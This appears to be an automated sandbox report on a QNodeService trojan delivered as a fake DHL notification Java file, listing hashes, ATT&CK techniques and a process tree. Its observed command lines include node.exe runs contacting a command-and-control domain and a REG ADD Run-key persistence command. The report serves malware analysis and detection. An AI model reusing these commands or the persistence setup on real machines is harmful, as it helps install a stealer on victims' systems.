qnodeservice | 61d072c35e7d0afb80d012da005c92fc9971f7561702e0b6691ff12995ad7436

General

Target

DHL ARRIVAL NOTIFICATION.jar
Size

77KB
MD5

c19f84ae8aaf4e0d7873bf0e9a19f6ea
SHA1

8ac1568c4233c5de17a815be9759221bcdad129d
SHA256

61d072c35e7d0afb80d012da005c92fc9971f7561702e0b6691ff12995ad7436
SHA512

2294174d0e3ef8446dbc3a02956f622f42506ee86cde56ec5a71c0b087471af6d43f2d5abbad5cc5a08492bb1aa4dbe6c80d17bdcfdf719f2ebb02ac3adb50ca

Score

10^/10

trojan qnodeservice persistence

Malware Config

Signatures

QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
trojan qnodeservice

Executes dropped EXE 3 IoCs

pid	Process
3764	node.exe
3696	node.exe
2636	node.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Windows\CurrentVersion\Run\910a44a5-813b-4b93-a578-d7faa1f4c0b0 = "cmd /D /C \"C:\\Users\\Admin\\qhub\\node\\2.0.10\\boot.vbs\""	reg.exe

JavaScript code in executable 3 IoCs

resource	yara_rule
behavioral2/files/0x000100000001adad-174.dat	js
behavioral2/files/0x000100000001adad-179.dat	js
behavioral2/files/0x000100000001adad-183.dat	js

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
27	wtfismyip.com
28	wtfismyip.com

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
3764	node.exe
3764	node.exe
3764	node.exe
3764	node.exe
3696	node.exe
3696	node.exe
3696	node.exe
3696	node.exe
2636	node.exe
2636	node.exe
2636	node.exe
2636	node.exe
2636	node.exe
2636	node.exe
2636	node.exe
2636	node.exe
2636	node.exe
2636	node.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 3828 wrote to memory of 3692	3828	java.exe	76
PID 3828 wrote to memory of 3692	3828	java.exe	76
PID 3692 wrote to memory of 3764	3692	javaw.exe	78
PID 3692 wrote to memory of 3764	3692	javaw.exe	78
PID 3764 wrote to memory of 3696	3764	node.exe	80
PID 3764 wrote to memory of 3696	3764	node.exe	80
PID 3696 wrote to memory of 2636	3696	node.exe	81
PID 3696 wrote to memory of 2636	3696	node.exe	81
PID 2636 wrote to memory of 2204	2636	node.exe	83
PID 2636 wrote to memory of 2204	2636	node.exe	83
PID 2204 wrote to memory of 3108	2204	cmd.exe	84
PID 2204 wrote to memory of 3108	2204	cmd.exe	84

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar "C:\Users\Admin\AppData\Local\Temp\DHL ARRIVAL NOTIFICATION.jar"
1⤵
- Suspicious use of WriteProcessMemory
PID:3828
- C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
  "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\6afcd76a.tmp
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3692
- - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
    C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain jahbless.hopto.org --hub-domain localhost
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:3764
  - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
      C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_c0eOyf\boot.js --hub-domain jahbless.hopto.org --hub-domain localhost
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:3696
    - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
        
        C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_c0eOyf\boot.js --hub-domain jahbless.hopto.org --hub-domain localhost
        5⤵
        Executes dropped EXE
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:2636
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "910a44a5-813b-4b93-a578-d7faa1f4c0b0" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:2204
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "910a44a5-813b-4b93-a578-d7faa1f4c0b0" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""
        7⤵
        Adds Run key to start application
        
        PID:3108

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2636-184-0x0000039E1C140000-0x0000039E1C141000-memory.dmp

Filesize
4KB

Download
memory/3696-180-0x000000301EBC0000-0x000000301EBC1000-memory.dmp

Filesize
4KB

Download
memory/3764-176-0x000001688BE80000-0x000001688BE81000-memory.dmp

Filesize
4KB

Download

Analysis

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